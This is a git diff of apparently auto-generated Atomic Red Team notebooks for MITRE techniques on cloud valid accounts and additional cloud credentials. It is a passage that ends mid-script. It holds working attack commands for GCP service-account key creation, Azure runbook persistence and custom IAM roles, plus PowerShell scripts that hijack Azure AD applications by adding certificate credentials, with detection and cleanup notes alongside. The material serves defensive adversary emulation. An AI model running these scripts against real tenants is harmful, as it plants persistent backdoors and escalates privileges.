Test #1 - Creating GCP Service Account and Service Account Key\nGCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.\n\n**Supported Platforms:** google-workspace, iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```" + "source": "### Atomic Test #1 - Creating GCP Service Account and Service Account Key\nGCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.\n\n**Supported Platforms:** google-workspace, iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "03b0a9d1", + "id": "48fae965", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "beccb65d", + "id": "fdce91c2", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ngcloud auth login --no-launch-browser\ngcloud config set project art-project-1\ngcloud iam service-accounts create gcp-art-service-account-1\ngcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com\n```" + "```sh\ngcloud config set project art-project-1\ngcloud iam service-accounts create gcp-art-service-account-1\ngcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d07c1e4e", + "id": "3ac126b8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f936f00f", + "id": "287bc584", "metadata": {}, "source": "#### Cleanup: \n```sh\ngcloud iam service-accounts delete gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com --quiet\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d002899", + "id": "b3373d20", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "bb13c238", + "id": "09f373c2", + "metadata": {}, + "source": "### Atomic Test #2 - Azure Persistence Automation Runbook Created or Modified\nIdentifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure\nAutomation runbook to execute malicious code and maintain persistence in their target's environment.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```powershell\nterraform version\n\n```\n##### Get Prereq Commands:\n```powershell\necho Please install terraform.\n\n```\n##### Description: Install-Module -Name Az\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az -Scope CurrentUser -Force\n\n```\n##### Description: Check if the user is logged into Azure.\n\n##### Check Prereq Commands:\n```powershell\naz account show\n\n```\n##### Get Prereq Commands:\n```powershell\necho Configure your Azure account using: az login. \n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Test-Path \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate\" ){ exit 0 } else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ncd \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/\"\nterraform init\nterraform apply -auto-approve\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e7e165c0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "9a86b457", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$secure_pwd = \"None\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-AzAccount -Credential $creds\nNew-AzAutomationRunbook -Name None -Type PowerShell -ResourceGroupName None -Description 'my-test-runbook' -AutomationAccountName None\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7093362f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "863ffd8b", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-AzAutomationRunbook -AutomationAccountName None -Name None -ResourceGroupName None -Force\ncd \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/\"\nterraform destroy -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "03c1ce21", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d26caa81", + "metadata": {}, + "source": "### Atomic Test #3 - GCP - Create Custom IAM Role\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. \nCustom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.\n\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n\n**Supported Platforms:** iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "656efe54", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "e6238654", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ngcloud config set project atomic-test-1\ngcloud iam roles create AtomicRedTeamRole --description=\"Atomic Red Team Custom IAM Role\" --permissions=iam.serviceAccounts.get --project=atomic-test-1\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "82819b33", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "7b68e72e", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ngcloud iam roles delete AtomicRedTeamRole --project=atomic-test-1\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3482e0ee", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e9598298", "metadata": {}, "source": "## Detection\nMonitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours." } @@ -67,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1078.ipynb b/playbook/tactics/persistence/T1078.ipynb index bd56d4cc..c5a30a04 100644 --- a/playbook/tactics/persistence/T1078.ipynb +++ b/playbook/tactics/persistence/T1078.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "cce85655", + "id": "4032d9d5", "metadata": {}, "source": "# T1078 - Valid Accounts\nAdversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)" }, { "cell_type": "markdown", - "id": "b9d72d90", + "id": "0fba15ca", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ebfee281", + "id": "bfbf27b4", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately." }, { "cell_type": "markdown", - "id": "ae69cd8e", + "id": "3d51c939", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Account \n Create an account that is used for active defense purposes. \n\n A decoy account is one that is created specifically for defensive or deceptive purposes. It can be in the form of user accounts, service accounts, software accounts, etc. The decoy account can be used to make a system, service, or software look more realistic or to entice an action.\n#### Opportunity\nThere is an opportunity to introduce user accounts that are used to make a system look more realistic.\n#### Use Case\nA defender can create decoy user accounts which are used to make a decoy system or network look more realistic.\n#### Procedures\nCreate a user account with a specified job function. Populate the user account's groups, description, logon hours, etc., with decoy data that\u00a0looks normal in the environment.\nCreate a user that has a valid email account. Use this account in such a way that the email address could be harvested by the adversary. This can be monitored to see if it is used in future attacks.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1084.ipynb b/playbook/tactics/persistence/T1084.ipynb deleted file mode 100644 index 611a8101..00000000 --- a/playbook/tactics/persistence/T1084.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "7cf69d79", - "metadata": {}, - "source": "# T1084 - Windows Management Instrumentation Event Subscription\nWindows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)" - }, - { - "cell_type": "markdown", - "id": "0e0e07fb", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "7800ef05", - "metadata": {}, - "source": "## Detection\nMonitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1098.001.ipynb b/playbook/tactics/persistence/T1098.001.ipynb index f57155f0..3ac19513 100644 --- a/playbook/tactics/persistence/T1098.001.ipynb +++ b/playbook/tactics/persistence/T1098.001.ipynb @@ -2,154 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "326492a0", + "id": "5d8116d0", "metadata": {}, - "source": "# T1098.001 - Additional Cloud Credentials\nAdversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)" + "source": "# T1098.001 - Additional Cloud Credentials\nAdversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account. These credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)" }, { "cell_type": "markdown", - "id": "c872d8b0", + "id": "b5879f34", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7eeeb9e9", + "id": "f85c4464", "metadata": {}, "source": "### Atomic Test #1 - Azure AD Application Hijacking - Service Principal\nAdd a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application.\nThis can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.\nAn account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1da5c461", + "id": "087ef717", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "995e077c", + "id": "829aae3a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"SuperSP\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$certNotAfter = (Get-Date).AddDays(2)\n$credNotAfter = (Get-Date).AddDays(1)\n$thumb = (New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation \"cert:\\CurrentUser\\My\" -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter).Thumbprint\nWrite-Host \"Generated certificate \"\"$thumb\"\"\"\n$pwd = ConvertTo-SecureString -String \"Passw0rd\" -Force -AsPlainText\nExport-PfxCertificate -cert \"cert:\\CurrentUser\\my\\$thumb\" -FilePath \"$env:TEMP\\SuperSP.pfx\" -Password $pwd > $null\n\n$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate(\"$env:TEMP\\SuperSP.pfx\", $pwd)\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $thumb\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n```" + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"SuperSP\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ffc0e965", + "id": "9ce1eb30", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "703be12f", + "id": "3682bbe0", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"SuperSP\" | Select-Object -First 1\n$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from SP\"\n Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\nrm \"$env:TEMP\\SuperSP.pfx\" -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"SuperSP\" | Select-Object -First 1\n$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from SP\"\n Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1d2b0e4f", + "id": "10bc97bf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "96684fbf", + "id": "5b172cea", "metadata": {}, "source": "### Atomic Test #2 - Azure AD Application Hijacking - App Registration\nAdd a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application.\nThis can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.\nAn account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bfdad9ad", + "id": "26042826", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "853fbf51", + "id": "1c194e43", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$app = Get-AzureADApplication -SearchString \"SuperApp\" | Select-Object -First 1\nif ($app -eq $null) { Write-Warning \"Application not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$certNotAfter = (Get-Date).AddDays(2)\n$credNotAfter = (Get-Date).AddDays(1)\n$thumb = (New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation \"cert:\\CurrentUser\\My\" -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter).Thumbprint\nWrite-Host \"Generated certificate \"\"$thumb\"\"\"\n$pwd = ConvertTo-SecureString -String \"Passw0rd\" -Force -AsPlainText\nExport-PfxCertificate -cert \"cert:\\CurrentUser\\my\\$thumb\" -FilePath \"$env:TEMP\\SuperApp.pfx\" -Password $pwd > $null\n\n$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate(\"$env:TEMP\\SuperApp.pfx\", $pwd)\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\n\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $thumb\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n```" + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$app = Get-AzureADApplication -SearchString \"SuperApp\" | Select-Object -First 1\nif ($app -eq $null) { Write-Warning \"Application not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "05668614", + "id": "655c5fe7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8e46c64c", + "id": "55d2bb04", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$app = Get-AzureADApplication -SearchString \"SuperApp\" | Select-Object -First 1\n$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId\nforeach ($cred in $credz) {\n if 